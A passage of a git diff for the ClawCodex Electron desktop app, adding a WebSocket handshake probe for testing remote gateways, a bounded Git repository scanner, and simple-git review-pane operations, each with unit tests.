+    return { entries: [], error: error?.code || 'read-error' }
+  }
+}
+
+export { readDirForIpc }
diff --git a/ui-desktop/electron/gateway-ws-probe.test.ts b/ui-desktop/electron/gateway-ws-probe.test.ts
new file mode 100644
index 000000000..222d3c699
--- /dev/null
+++ b/ui-desktop/electron/gateway-ws-probe.test.ts
@@ -0,0 +1,134 @@
+/**
+ * Tests for electron/gateway-ws-probe.ts.
+ *
+ * Run with: node --test electron/gateway-ws-probe.test.ts
+ * (Wired into npm test:desktop:platforms in package.json.)
+ *
+ * The probe drives a real WebSocket handshake for the "Test remote" button.
+ * Here we inject a fake socket so we can deterministically replay each handshake
+ * outcome (open, frame, error, early close, never-opens) without a network.
+ */
+
+import assert from 'node:assert/strict'
+
+import { test } from 'vitest'
+
+import { probeGatewayWebSocket } from './gateway-ws-probe'
+
+// Minimal WebSocket double: records listeners synchronously (the probe attaches
+// them in its executor) and exposes emit() so the test can replay events.
+function makeFakeWs(): { FakeWs: new (url: string) => any; instances: any[] } {
+  const instances = []
+
+  class FakeWs {
+    url: string
+    closed = false
+    listeners: Record<string, any[]> = {}
+    constructor(url) {
+      this.url = url
+      this.listeners = {}
+      this.closed = false
+      instances.push(this)
+    }
+    addEventListener(type, fn) {
+      ;(this.listeners[type] ||= []).push(fn)
+    }
+    close() {
+      this.closed = true
+    }
+    emit(type, event) {
+      for (const fn of this.listeners[type] || []) {
+        fn(event)
+      }
+    }
+  }
+
+  return { FakeWs, instances }
+}
+
+const FAST = { connectTimeoutMs: 1_000, readyGraceMs: 10 }
+
+test('probe resolves ok when the socket opens and stays open', async () => {
+  const { FakeWs, instances } = makeFakeWs()
+  const promise = probeGatewayWebSocket('ws://host/api/ws?token=t', { WebSocketImpl: FakeWs, ...FAST })
+  instances[0].emit('open')
+  const result = await promise
+  assert.deepEqual(result, { ok: true })
+  assert.equal(instances[0].closed, true)
+})
+
+test('probe resolves ok immediately when a frame arrives', async () => {
+  const { FakeWs, instances } = makeFakeWs()
+
+  const promise = probeGatewayWebSocket('ws://host/api/ws?token=t', {
+    WebSocketImpl: FakeWs,
+    connectTimeoutMs: 1_000,
+    readyGraceMs: 10_000 // long grace: success must come from the frame, not the timer
+  })
+
+  instances[0].emit('open')
+  instances[0].emit('message', { data: '{"jsonrpc":"2.0"}' })
+  const result = await promise
+  assert.deepEqual(result, { ok: true })
+})
+
+test('probe fails when the socket errors before opening', async () => {
+  const { FakeWs, instances } = makeFakeWs()
+  const promise = probeGatewayWebSocket('ws://host/api/ws?token=t', { WebSocketImpl: FakeWs, ...FAST })
+  instances[0].emit('error', { message: 'ECONNREFUSED' })
+  const result = await promise
+  assert.equal(result.ok, false)
+  assert.match(result.reason, /ECONNREFUSED/)
+})
+
+test('probe fails when the gateway closes before opening', async () => {
+  const { FakeWs, instances } = makeFakeWs()
+  const promise = probeGatewayWebSocket('ws://host/api/ws?token=t', { WebSocketImpl: FakeWs, ...FAST })
+  instances[0].emit('close', { code: 1006 })
+  const result = await promise
+  assert.equal(result.ok, false)
+  assert.match(result.reason, /before it opened/)
+  assert.match(result.reason, /1006/)
+})
+
+test('probe fails when the gateway accepts then immediately closes (auth rejected)', async () => {
+  const { FakeWs, instances } = makeFakeWs()
+  const promise = probeGatewayWebSocket('ws://host/api/ws?token=t', { WebSocketImpl: FakeWs, ...FAST })
+  instances[0].emit('open')
+  instances[0].emit('close', { code: 4403, reason: 'forbidden' })
+  const result = await promise
+  assert.equal(result.ok, false)
+  assert.match(result.reason, /credential rejected/)
+  assert.match(result.reason, /4403/)
+  assert.match(result.reason, /forbidden/)
+})
+
+test('probe times out when the socket never opens', async () => {
+  const { FakeWs } = makeFakeWs()
+
+  const result = await probeGatewayWebSocket('ws://host/api/ws?token=t', {
+    WebSocketImpl: FakeWs,
+    connectTimeoutMs: 20,
+    readyGraceMs: 10
+  })
+
+  assert.equal(result.ok, false)
+  assert.match(result.reason, /Timed out/)
+})
+
+test('probe fails gracefully when the constructor throws', async () => {
+  class ThrowingWs {
+    constructor() {
+      throw new Error('bad url')
+    }
+  }
+  const result = await probeGatewayWebSocket('ws://host/api/ws', { WebSocketImpl: ThrowingWs, ...FAST })
+  assert.equal(result.ok, false)
+  assert.match(result.reason, /bad url/)
+})
+
+test('probe reports unavailable when no WebSocket implementation is provided', async () => {
+  const result = await probeGatewayWebSocket('ws://host/api/ws', { WebSocketImpl: undefined })
+  assert.equal(result.ok, false)
+  assert.match(result.reason, /not available/)
+})
diff --git a/ui-desktop/electron/gateway-ws-probe.ts b/ui-desktop/electron/gateway-ws-probe.ts
new file mode 100644
index 000000000..52d647a96
--- /dev/null
+++ b/ui-desktop/electron/gateway-ws-probe.ts
@@ -0,0 +1,227 @@
+/**
+ * Live WebSocket validation for the remote-gateway "Test remote" button.
+ *
+ * Background: the desktop boot does two independent things to a remote gateway:
+ *
+ *   1. The MAIN process hits ``GET /api/status`` over HTTP (token in a header)
+ *      to confirm the backend is up. This is what "Test remote" historically
+ *      checked, and what the boot logs print as "Remote ClawCodex backend is
+ *      ready".
+ *   2. The RENDERER then opens a live WebSocket to ``/api/ws`` (credential in a
+ *      query param) via ``gateway.connect()``. The chat surface only works once
+ *      THIS succeeds.
+ *
+ * Those two paths use different processes, transports, and credentials, and the
+ * server applies extra guards to the WS upgrade that the HTTP status route never
+ * sees (Host/Origin checks, ws-ticket/token auth, peer-IP checks). So a gateway
+ * can pass the HTTP status check yet reject the WebSocket — which surfaces to
+ * the user as a green "Test remote" followed by an opaque "Could not connect to
+ * ClawCodex gateway" on the boot overlay.
+ *
+ * This module performs the second half of the check: it actually opens the WS
+ * URL and confirms the upgrade is accepted (and isn't immediately torn down by
+ * a post-upgrade auth rejection). The ``WebSocketImpl`` is injectable so the
+ * unit tests can drive the handshake without a real socket; in production the
+ * caller passes the Node/Electron global ``WebSocket``.
+ */
+
+const DEFAULT_CONNECT_TIMEOUT_MS = 10_000
+// After the upgrade is accepted, a gateway that rejects the credential
+// post-handshake closes the socket almost immediately. Wait a short grace
+// window: a frame (gateway.ready) or a still-open socket means success; an
+// early close means the upgrade was accepted but the session was refused.
+const DEFAULT_READY_GRACE_MS = 750
+
+/**
+ * Attempt a live WebSocket connection and classify the outcome.
+ *
+ * @param {string} wsUrl - Fully-formed ws(s):// URL including the credential.
+ * @returns {Promise<{ ok: boolean, reason?: string }>}
+ */
+function probeGatewayWebSocket<T>(
+  wsUrl: string,
+  options: {
+    WebSocketImpl?: any
+    connectTimeoutMs?: number
+    readyGraceMs?: number
+  } = {}
+) {
+  const WebSocketImpl = options.WebSocketImpl
+  const connectTimeoutMs = options.connectTimeoutMs ?? DEFAULT_CONNECT_TIMEOUT_MS
+  const readyGraceMs = options.readyGraceMs ?? DEFAULT_READY_GRACE_MS
+
+  if (typeof WebSocketImpl !== 'function') {
+    return Promise.resolve({
+      ok: false,
+      reason: 'WebSocket is not available in this runtime.'
+    })
+  }
+
+  return new Promise<any>(resolve => {
+    let settled = false
+    let opened = false
+    let connectTimer = null
+    let graceTimer = null
+    let socket
+
+    const clearTimers = () => {
+      if (connectTimer !== null) {
+        clearTimeout(connectTimer)
+        connectTimer = null
+      }
+
+      if (graceTimer !== null) {
+        clearTimeout(graceTimer)
+        graceTimer = null
+      }
+    }
+
+    const finish = result => {
+      if (settled) {
+        return
+      }
+
+      settled = true
+      clearTimers()
+
+      try {
+        socket?.close?.()
+      } catch {
+        // ignore — best effort teardown
+      }
+
+      resolve(result)
+    }
+
+    try {
+      socket = new WebSocketImpl(wsUrl)
+    } catch (error) {
+      finish({
+        ok: false,
+        reason: error instanceof Error ? error.message : String(error)
+      })
+
+      return
+    }
+
+    const onOpen = () => {
+      if (settled) {
+        return
+      }
+
+      opened = true
+      // Upgrade accepted. Give the server a brief window to reject the
+      // credential post-handshake (early close) before declaring success.
+      graceTimer = setTimeout(() => {
+        finish({ ok: true })
+      }, readyGraceMs)
+    }
+
+    const onMessage = () => {
+      // Any frame means the gateway accepted us and is talking — unambiguous
+      // success, no need to wait out the grace window.
+      finish({ ok: true })
+    }
+
+    const onError = event => {
+      finish({
+        ok: false,
+        reason: extractErrorReason(event) || 'WebSocket connection failed.'
+      })
+    }
+
+    const onClose = event => {
+      if (settled) {
+        return
+      }
+
+      if (opened) {
+        // Opened, then closed inside the grace window: the upgrade was accepted
+        // but the session was refused (e.g. ws-ticket/token rejected, or a
+        // server-side Host/Origin guard tripped after accept).
+        finish({
+          ok: false,
+          reason: closeReason(event, 'The gateway accepted the connection then closed it (credential rejected?).')
+        })
+
+        return
+      }
+
+      finish({
+        ok: false,
+        reason: closeReason(event, 'The gateway closed the WebSocket before it opened.')
+      })
+    }
+
+    addListener(socket, 'open', onOpen)
+    addListener(socket, 'message', onMessage)
+    addListener(socket, 'error', onError)
+    addListener(socket, 'close', onClose)
+
+    if (connectTimeoutMs > 0) {
+      connectTimer = setTimeout(() => {
+        finish({
+          ok: false,
+          reason: `Timed out after ${connectTimeoutMs}ms waiting for the WebSocket to open.`
+        })
+      }, connectTimeoutMs)
+    }
+  })
+}
+
+function addListener(socket, type, handler) {
+  if (typeof socket.addEventListener === 'function') {
+    socket.addEventListener(type, handler)
+
+    return
+  }
+
+  // Node's global WebSocket implements addEventListener; this fallback keeps the
+  // helper usable with the `ws` package's EventEmitter shape too.
+  if (typeof socket.on === 'function') {
+    socket.on(type, handler)
+  }
+}
+
+function extractErrorReason(event) {
+  if (!event) {
+    return ''
+  }
+
+  if (event instanceof Error) {
+    return event.message
+  }
+
+  const err = event.error || event.message
+
+  if (err instanceof Error) {
+    return err.message
+  }
+
+  if (typeof err === 'string') {
+    return err
+  }
+
+  return ''
+}
+
+function closeReason(event, fallback) {
+  const code = event && typeof event.code === 'number' ? event.code : null
+  const reason = event && typeof event.reason === 'string' ? event.reason.trim() : ''
+
+  if (code && reason) {
+    return `${fallback} (code ${code}: ${reason})`
+  }
+
+  if (code) {
+    return `${fallback} (code ${code})`
+  }
+
+  if (reason) {
+    return `${fallback} (${reason})`
+  }
+
+  return fallback
+}
+
+export { DEFAULT_CONNECT_TIMEOUT_MS, DEFAULT_READY_GRACE_MS, probeGatewayWebSocket }
diff --git a/ui-desktop/electron/git-repo-scan.test.ts b/ui-desktop/electron/git-repo-scan.test.ts
new file mode 100644
index 000000000..897e8bb3f
--- /dev/null
+++ b/ui-desktop/electron/git-repo-scan.test.ts
@@ -0,0 +1,79 @@
+import fs from 'node:fs'
+import os from 'node:os'
+import path from 'node:path'
+
+import { afterEach, describe, expect, it, vi } from 'vitest'
+
+import { normalizeRepoScanPath, repoScanPathIsWithin, scanGitRepos } from './git-repo-scan'
+
+const tempDirs: string[] = []
+
+function tempDir(): string {
+  const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'clawcodex-repo-scan-'))
+  tempDirs.push(dir)
+
+  return dir
+}
+
+function makeRepo(root: string, valid = true): void {
+  fs.mkdirSync(path.join(root, '.git'), { recursive: true })
+
+  if (valid) {
+    fs.writeFileSync(path.join(root, '.git', 'HEAD'), 'ref: refs/heads/main\n')
+  }
+}
+
+afterEach(() => {
+  vi.restoreAllMocks()
+
+  for (const dir of tempDirs.splice(0)) {
+    fs.rmSync(dir, { force: true, recursive: true })
+  }
+})
+
+describe('scanGitRepos', () => {
+  it('does not read the filesystem when discovery is disabled', async () => {
+    const read = vi.spyOn(fs.promises, 'readdir')
+
+    await expect(scanGitRepos([], { enabled: false })).resolves.toEqual([])
+    expect(read).not.toHaveBeenCalled()
+  })
+
+  it('scans only configured roots and excludes complete subtrees', async () => {
+    const root = tempDir()
+    const included = path.join(root, 'included')
+    const excluded = path.join(root, 'excluded')
+    const invalid = path.join(root, 'invalid')
+    makeRepo(included)
+    makeRepo(excluded)
+    makeRepo(invalid, false)
+
+    await expect(scanGitRepos([root], { enabled: true, excludePaths: [excluded], maxDepth: 2 })).resolves.toEqual([
+      { label: 'included', root: included }
+    ])
+  })
+
+  it('deduplicates overlapping roots', async () => {
+    const root = tempDir()
+    const repo = path.join(root, 'repo')
+    makeRepo(repo)
+
+    const result = await scanGitRepos([root, repo], { enabled: true })
+    expect(result).toEqual([{ label: 'repo', root: repo }])
+  })
+})
+
+describe('repository scan path normalization', () => {
+  it('expands tilde and resolves relative paths from home', () => {
+    expect(normalizeRepoScanPath('~/src', { homeDir: '/Users/rudi', platform: 'darwin' })?.value).toBe(
+      '/Users/rudi/src'
+    )
+    expect(normalizeRepoScanPath('src', { homeDir: '/Users/rudi', platform: 'linux' })?.value).toBe('/Users/rudi/src')
+  })
+
+  it('uses segment-aware, case-insensitive containment on Windows', () => {
+    const options = { homeDir: 'C:\\Users\\Rudi', platform: 'win32' as const }
+    expect(repoScanPathIsWithin('c:\\SRC\\Fever\\repo', 'C:\\src\\fever', options)).toBe(true)
+    expect(repoScanPathIsWithin('C:\\src\\feverish', 'C:\\src\\fever', options)).toBe(false)
+  })
+})
diff --git a/ui-desktop/electron/git-repo-scan.ts b/ui-desktop/electron/git-repo-scan.ts
new file mode 100644
index 000000000..bea748c08
--- /dev/null
+++ b/ui-desktop/electron/git-repo-scan.ts
@@ -0,0 +1,168 @@
+// Repo-first discovery: walk bounded roots for Git repositories using only
+// Node's fs APIs. Electron owns this machine-local capability; the renderer
+// supplies the profile-scoped policy from ClawCodex config.
+
+import fs from 'node:fs'
+import os from 'node:os'
+import path from 'node:path'
+
+const fsp = fs.promises
+const DEFAULT_MAX_DEPTH = 3
+const MAX_CONCURRENCY = 32
+const JUNK_DIRS = new Set(['Applications', 'Library', 'node_modules', 'site-packages', 'vendor', 'venv'])
+
+export interface RepoScanOptions {
+  maxDepth?: number
+  enabled?: boolean
+  excludePaths?: string[]
+}
+
+export interface RepoScanPathOptions {
+  homeDir?: string
+  platform?: NodeJS.Platform
+}
+
+interface NormalizedScanPath {
+  key: string
+  value: string
+}
+
+function pathApiFor(platform: NodeJS.Platform): typeof path.posix | typeof path.win32 {
+  return platform === 'win32' ? path.win32 : path.posix
+}
+
+export function normalizeRepoScanPath(rawPath: string, options: RepoScanPathOptions = {}): NormalizedScanPath | null {
+  const platform = options.platform ?? process.platform
+  const homeDir = options.homeDir ?? os.homedir()
+  const pathApi = pathApiFor(platform)
+  const raw = String(rawPath ?? '').trim()
+
+  if (!raw) {
+    return null
+  }
+
+  let expanded = raw
+
+  if (raw === '~') {
+    expanded = homeDir
+  } else if (raw.startsWith('~/') || raw.startsWith('~\\')) {
+    expanded = pathApi.join(homeDir, raw.slice(2))
+  }
+
+  const absolute = pathApi.isAbsolute(expanded) ? expanded : pathApi.resolve(homeDir, expanded)
+  const value = pathApi.normalize(absolute)
+  const key = platform === 'win32' ? value.toLocaleLowerCase('en-US') : value
+
+  return { key, value }
+}
+
+export function repoScanPathIsWithin(candidate: string, parent: string, options: RepoScanPathOptions = {}): boolean {
+  const platform = options.platform ?? process.platform
+  const pathApi = pathApiFor(platform)
+  const candidatePath = normalizeRepoScanPath(candidate, options)
+  const parentPath = normalizeRepoScanPath(parent, options)
+
+  if (!candidatePath || !parentPath) {
+    return false
+  }
+
+  const relative = pathApi.relative(parentPath.key, candidatePath.key)
+
+  return (
+    relative === '' || (relative !== '..' && !relative.startsWith(`..${pathApi.sep}`) && !pathApi.isAbsolute(relative))
+  )
+}
+
+async function mapLimit<T>(items: T[], limit: number, fn: (item: T) => Promise<void>): Promise<void> {
+  let cursor = 0
+
+  async function worker(): Promise<void> {
+    while (cursor < items.length) {
+      const index = cursor
+      cursor += 1
+      await fn(items[index])
+    }
+  }
+
+  await Promise.all(Array.from({ length: Math.min(limit, items.length) }, () => worker()))
+}
+
+/**
+ * Scan roots for Git repositories. An empty root list preserves the historical
+ * home-directory scan. Disabled discovery returns before resolving home or
+ * reading the filesystem.
+ */
+export async function scanGitRepos(roots: string[], options: RepoScanOptions = {}) {
+  if (options.enabled === false) {
+    return []
+  }
+
+  const maxDepthValue = Number(options.maxDepth)
+  const maxDepth = Number.isFinite(maxDepthValue) && maxDepthValue >= 0 ? maxDepthValue : DEFAULT_MAX_DEPTH
+  const pathOptions: RepoScanPathOptions = {}
+  const requestedRoots = Array.isArray(roots) && roots.length > 0 ? roots : [os.homedir()]
+
+  const searchRoots = [
+    ...new Map(
+      requestedRoots
+        .map(root => normalizeRepoScanPath(root, pathOptions))
+        .filter((entry): entry is NormalizedScanPath => entry !== null)
+        .map(entry => [entry.key, entry.value])
+    ).values()
+  ]
+
+  const exclusions = (options.excludePaths ?? [])
+    .map(excluded => normalizeRepoScanPath(excluded, pathOptions))
+    .filter((entry): entry is NormalizedScanPath => entry !== null)
+
+  const found = new Map<string, { root: string; label: string }>()
+
+  function isExcluded(candidate: string): boolean {
+    return exclusions.some(excluded => repoScanPathIsWithin(candidate, excluded.value, pathOptions))
+  }
+
+  async function walk(dir: string, depth: number): Promise<void> {
+    if (depth > maxDepth || isExcluded(dir)) {
+      return
+    }
+
+    let entries: fs.Dirent[]
+
+    try {
+      entries = await fsp.readdir(dir, { withFileTypes: true })
+    } catch {
+      return
+    }
+
+    const gitDir = entries.find(entry => entry.name === '.git' && entry.isDirectory())
+
+    if (gitDir) {
+      try {
+        await fsp.access(path.join(dir, '.git', 'HEAD'), fs.constants.R_OK)
+      } catch {
+        return
+      }
+
+      const normalized = normalizeRepoScanPath(dir, pathOptions)
+
+      if (normalized) {
+        found.set(normalized.key, {
+          root: normalized.value,
+          label: path.basename(normalized.value) || normalized.value
+        })
+      }
+
+      return
+    }
+
+    const subdirs = entries
+      .filter(entry => entry.isDirectory() && !entry.name.startsWith('.') && !JUNK_DIRS.has(entry.name))
+      .map(entry => path.join(dir, entry.name))
+
+    await mapLimit(subdirs, MAX_CONCURRENCY, subdir => walk(subdir, depth + 1))
+  }
+
+  await mapLimit(searchRoots, MAX_CONCURRENCY, root => walk(root, 0))
+
+  return [...found.values()]
+}
diff --git a/ui-desktop/electron/git-review-ops.test.ts b/ui-desktop/electron/git-review-ops.test.ts
new file mode 100644
index 000000000..7189866d8
--- /dev/null
+++ b/ui-desktop/electron/git-review-ops.test.ts
@@ -0,0 +1,119 @@
+import assert from 'node:assert/strict'
+import { execFileSync } from 'node:child_process'
+import fs from 'node:fs'
+import os from 'node:os'
+import path from 'node:path'
+
+import { afterEach, test } from 'vitest'
+
+import { gitFor, repoStatus, resolveRenamePath, REVIEW_FILE_CAP, reviewList } from './git-review-ops'
+
+const tempDirs: string[] = []
+
+afterEach(() => {
+  for (const dir of tempDirs.splice(0)) {
+    fs.rmSync(dir, { force: true, recursive: true })
+  }
+})
+
+function makeRepo() {
+  const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'clawcodex-desktop-git-status-'))
+
+  tempDirs.push(dir)
+  execFileSync('git', ['init', '-q'], { cwd: dir })
+  execFileSync('git', ['config', 'user.email', 'clawcodex-test@example.com'], { cwd: dir })
+  execFileSync('git', ['config', 'user.name', 'ClawCodex Test'], { cwd: dir })
+  fs.writeFileSync(path.join(dir, 'tracked.txt'), 'tracked\n')
+  execFileSync('git', ['add', 'tracked.txt'], { cwd: dir })
+  execFileSync('git', ['commit', '-qm', 'initial'], { cwd: dir })
+
+  return dir
+}
+
+test('resolveRenamePath: plain path is unchanged', () => {
+  assert.equal(resolveRenamePath('src/a.ts'), 'src/a.ts')
+})
+
+test('gitFor accepts an internally resolved git binary path containing spaces', () => {
+  assert.doesNotThrow(() => gitFor(process.cwd(), 'C:\\Program Files\\Git\\cmd\\git.exe'))
+})
+
+test('gitFor runs git through a spaced binary path', async () => {
+  if (process.platform !== 'win32') {
+    return
+  }
+
+  const gitBin = path.join(process.env.ProgramFiles || String.raw`C:\Program Files`, 'Git', 'cmd', 'git.exe')
+
+  if (!fs.existsSync(gitBin)) {
+    return
+  }
+
+  const repo = makeRepo()
+
+  fs.writeFileSync(path.join(repo, 'changed.txt'), 'review me\n')
+
+  const status = await gitFor(repo, gitBin).status()
+
+  assert.equal(status.not_added.includes('changed.txt'), true)
+})
+
+test('resolveRenamePath: simple rename resolves to the new path', () => {
+  assert.equal(resolveRenamePath('old.ts => new.ts'), 'new.ts')
+})
+
+test('resolveRenamePath: brace rename resolves to the new path', () => {
+  assert.equal(resolveRenamePath('src/{old => new}/file.ts'), 'src/new/file.ts')
+})
+
+test('resolveRenamePath: brace rename collapsing a segment', () => {
+  assert.equal(resolveRenamePath('src/{lib => }/file.ts'), 'src/file.ts')
+})
+
+test('repoStatus reports an untracked directory without recursively listing its contents', async () => {
+  const dir = makeRepo()
+  const nested = path.join(dir, 'generated', 'deep')
+
+  fs.mkdirSync(nested, { recursive: true })
+  fs.writeFileSync(path.join(nested, 'large-output.txt'), 'generated\n')
+
+  const status = await repoStatus(dir, 'git')
+
+  assert.ok(status)
+  assert.equal(status.untracked, 1)
+  assert.equal(status.changed, 1)
+  assert.deepEqual(
+    status.files.map(file => file.path),
+    ['generated/']
+  )
+})
+
+test('reviewList reports an untracked directory without recursively listing its contents', async () => {
+  const dir = makeRepo()
+  const nested = path.join(dir, 'browser-profile', 'Default', 'Cache')
+
+  fs.mkdirSync(nested, { recursive: true })
+
+  for (let i = 0; i < 20; i++) {
+    fs.writeFileSync(path.join(nested, `cache-${i}.bin`), 'generated\n')
+  }
+
+  const result = await reviewList(dir, 'uncommitted', null, 'git')
+
+  assert.deepEqual(
+    result.files.map(file => file.path),
+    ['browser-profile/']
+  )
+})
+
+test('reviewList caps the file payload returned to the renderer', async () => {
+  const dir = makeRepo()
+
+  for (let i = 0; i < REVIEW_FILE_CAP + 10; i++) {
+    fs.writeFileSync(path.join(dir, `untracked-${String(i).padStart(4, '0')}.txt`), 'generated\n')
+  }
+
+  const result = await reviewList(dir, 'uncommitted', null, 'git')
+
+  assert.equal(result.files.length, REVIEW_FILE_CAP)
+})
diff --git a/ui-desktop/electron/git-review-ops.ts b/ui-desktop/electron/git-review-ops.ts
new file mode 100644
index 000000000..a44be7d3f
--- /dev/null
+++ b/ui-desktop/electron/git-review-ops.ts
@@ -0,0 +1,725 @@
+// Git ops backing the coding rail + Codex-style review pane. Built on `simple-git`
+// (a maintained wrapper around the system git binary — same git the rest of the
+// app shells to, no native build) so we read structured status()/diffSummary()
+// results instead of hand-parsing porcelain. Reads degrade to null/empty on a
+// non-repo / remote backend; mutations reject so the renderer can toast.
+
+import { execFile } from 'node:child_process'
+import fs from 'node:fs/promises'
+import path from 'node:path'
+
+import simpleGit from 'simple-git'
+
+import { resolveRequestedPathForIpc } from './hardening'
+
+const COMMIT_CONTEXT_DIFF_MAX_CHARS = 120_000
+const COMMIT_CONTEXT_UNTRACKED_MAX = 80
+const REVIEW_FILE_CAP = 2_000
+const UNTRACKED_LINE_COUNT_CONCURRENCY = 16
+const UNTRACKED_LINE_COUNT_MAX_BYTES = 1024 * 1024
+
+// GUI-launched Electron apps on macOS inherit only a minimal PATH (no
+// /opt/homebrew/bin or /usr/local/bin), so `gh` — and the `git` gh shells out
+// to — aren't found. Augment PATH with the resolved gh dir + the common
+// package-manager bins so gh runs the same way it does in a terminal.
+function ghEnv(ghBin) {
+  const extra = [ghBin ? path.dirname(ghBin) : '', '/opt/homebrew/bin', '/usr/local/bin', '/usr/bin'].filter(
+    dir => dir && dir !== '.'
+  )
+
+  return { ...process.env, PATH: [...extra, process.env.PATH].filter(Boolean).join(path.delimiter) }
+}
+
+// Run the `gh` CLI in a repo. Resolves { ok, stdout } so callers branch on
+// availability/auth without a throw. gh missing/unauthed → ok:false.
+function runGh(args, cwd, ghBin): Promise<{ ok: boolean; stdout: string }> {
+  return new Promise(resolve => {
+    execFile(
+      ghBin || 'gh',
+      args,
+      { cwd, env: ghEnv(ghBin), windowsHide: true, timeout: 30_000, maxBuffer: 8 * 1024 * 1024 },
+      (err, stdout) => resolve({ ok: !err, stdout: String(stdout || '') })
+    )
+  })
+}
+
+function gitFor(cwd, gitBin) {
+  // `gitBin` is resolved inside the Electron main process from known install
+  // locations or PATH — never renderer/user input. simple-git's custom-binary
+  // validation rejects paths containing spaces (the default Windows install is
+  // `C:\Program Files\Git\cmd\git.exe`), which silently broke the Review pane.
+  // For spaced paths, opt into simple-git's trusted-binary escape hatch instead
+  // of falling back to PATH (often absent in GUI-launched apps, and PATH lookup
+  // could resolve a repo-local git.exe).
+  return simpleGit({
+    baseDir: cwd,
+    binary: gitBin || 'git',
+    maxConcurrentProcesses: 4,
+    trimmed: false,
+    ...(gitBin && /\s/.test(gitBin) ? { unsafe: { allowUnsafeCustomBinary: true } } : {})
+  })
+}
+
+// simple-git reports renames as `old => new` (and `dir/{old => new}/f`); resolve
+// to the NEW path so the row addresses the real file for diff/stage.
+function resolveRenamePath(raw) {
+  const path = String(raw || '').trim()
+
+  if (!path.includes(' => ')) {
+    return path
+  }
+
+  const brace = path.match(/^(.*)\{(.*) => (.*)\}(.*)$/)
+
+  if (brace) {
+    const [, prefix, , to, suffix] = brace
+
+    return `${prefix}${to}${suffix}`.replace(/\/{2,}/g, '/')
+  }
+
+  return path.split(' => ').pop().trim()
+}
+
+// DiffResult.files → Map<path, {added, removed}> (binary files carry no line
+// delta).
+function countsByPath(summary) {
+  const map = new Map()
+
+  for (const file of summary.files) {
+    map.set(resolveRenamePath(file.file), {
+      added: file.binary ? 0 : file.insertions,
+      removed: file.binary ? 0 : file.deletions
+    })
+  }
+
+  return map
+}
+
+// Untracked files don't appear in diffSummary(); count insertions from disk so
+// the review tree can show +N for new files (matches an all-add diff view).
+// Insertions = line count: newline bytes, plus one for a final unterminated
+// line. Binary (NUL byte) → 0, mirroring git numstat's "-".
+async function untrackedInsertions(cwd, relPath) {
+  try {
+    const fullPath = path.join(cwd, relPath)
+    const stat = await fs.stat(fullPath)
+
+    if (!stat.isFile() || stat.size > UNTRACKED_LINE_COUNT_MAX_BYTES) {
+      return 0
+    }
+
+    const buf = await fs.readFile(fullPath)
+
+    if (buf.includes(0)) {
+      return 0
+    }
+
+    let lines = 0
+
+    for (const byte of buf) {
+      if (byte === 10) {
+        lines++
+      }
+    }
+
+    return buf.length > 0 && buf[buf.length - 1] !== 10 ? lines + 1 : lines
+  } catch {
+    return 0
+  }
+}
+
+function capText(text, maxChars, label = 'truncated') {
+  const value = String(text || '')
+
+  if (value.length <= maxChars) {
+    return value
+  }
+
+  return `${value.slice(0, maxChars)}\n# ${label}: ${value.length - maxChars} chars omitted\n`
+}
+
+async function fillUntrackedCounts(cwd, files) {
+  const pending = files.filter(file => file.status === '?' && file.added === 0 && file.removed === 0)
+
+  for (let i = 0; i < pending.length; i += UNTRACKED_LINE_COUNT_CONCURRENCY) {
+    await Promise.all(
+      pending.slice(i, i + UNTRACKED_LINE_COUNT_CONCURRENCY).map(async file => {
+        file.added = await untrackedInsertions(cwd, file.path)
+      })
+    )
+  }
+}
+
+// Resolve the base ref for "all branch changes": merge-base with the remote
+// default branch (origin/HEAD), falling back to common trunk names.
+async function branchBase(git) {
+  const candidates = []
+
+  try {
+    const head = (await git.revparse(['--abbrev-ref', 'origin/HEAD'])).trim()
+
+    if (head) {
+      candidates.push(head)
+    }
+  } catch {
+    // No origin/HEAD configured.
+  }
+
+  candidates.push('origin/main', 'origin/master', 'main', 'master')
+
+  for (const ref of candidates) {
+    try {
+      const base = (await git.raw(['merge-base', 'HEAD', ref])).trim()
+
+      if (base) {
+        return base
+      }
+    } catch {
+      // Ref doesn't exist; try the next candidate.
+    }
+  }
+
+  return null
+}
+
+// Resolve the repo's default branch NAME ("main" / "master" / …), preferring
+// the remote's HEAD, then common local trunk names. Null when none is found
+// (e.g. a fresh repo with only a feature branch). Used to offer "branch off the
+// trunk" regardless of which branch you're currently on.
+async function defaultBranchName(git) {
+  try {
+    const head = (await git.revparse(['--abbrev-ref', 'origin/HEAD'])).trim()
+
+    // "origin/main" → "main"; skip the bare "origin/HEAD" placeholder.
+    if (head && head !== 'origin/HEAD') {
+      return head.replace(/^origin\//, '')
+    }
+  } catch {
+    // No origin/HEAD configured.
+  }
+
+  // Prefer a local trunk, then a remote-only one (returns the clean name either
+  // way) so "branch off main" works even before main is checked out locally.
+  for (const ref of [
+    'refs/heads/main',
+    'refs/heads/master',
+    'refs/remotes/origin/main',
+    'refs/remotes/origin/master'
+  ]) {
+    try {
+      await git.raw(['rev-parse', '--verify', '--quiet', ref])
+
+      return ref.replace(/^refs\/(?:heads|remotes\/origin)\//, '')
+    } catch {
+      // Ref doesn't exist; try the next candidate.
+    }
+  }
+
+  return null
+}
+
+// A status file's single-letter classification, preferring the staged (index)
+// code over the worktree code; untracked wins (simple-git marks both '?').
+function statusLetter(file) {
+  if (file.index === '?' || file.working_dir === '?') {
+    return '?'
+  }
+
+  const code = file.index && file.index !== ' ' ? file.index : file.working_dir
+
+  return (code || 'M').toUpperCase()
+}
+
+const isStaged = file => Boolean(file.index && file.index !== ' ' && file.index !== '?')
+
+async function reviewList(repoPath, scope, baseRef, gitBin) {
+  let cwd
+
+  try {
+    cwd = resolveRequestedPathForIpc(repoPath, { purpose: 'Review list' })
+  } catch {
+    return { files: [], base: null }
+  }
+
+  const git = gitFor(cwd, gitBin)
+
+  try {
+    if (scope === 'branch' || scope === 'lastTurn') {
+      const base = scope === 'branch' ? await branchBase(git) : baseRef
+
+      if (!base) {
+        return { files: [], base: null }
+      }
+
+      const range = scope === 'branch' ? `${base}...HEAD` : base
+      const summary = await git.diffSummary([range])
+
+      const files = summary.files.slice(0, REVIEW_FILE_CAP).map(file => ({
+        path: resolveRenamePath(file.file),
+        added: 'insertions' in file ? file.insertions : 0,
+        removed: 'deletions' in file ? file.deletions : 0,
+        status: 'M',
+        staged: false
+      }))
+
+      // "Last turn" also surfaces files created since the baseline (untracked).
+      if (scope === 'lastTurn' && files.length < REVIEW_FILE_CAP) {
+        // Keep untracked directories compact. A recursive status can produce
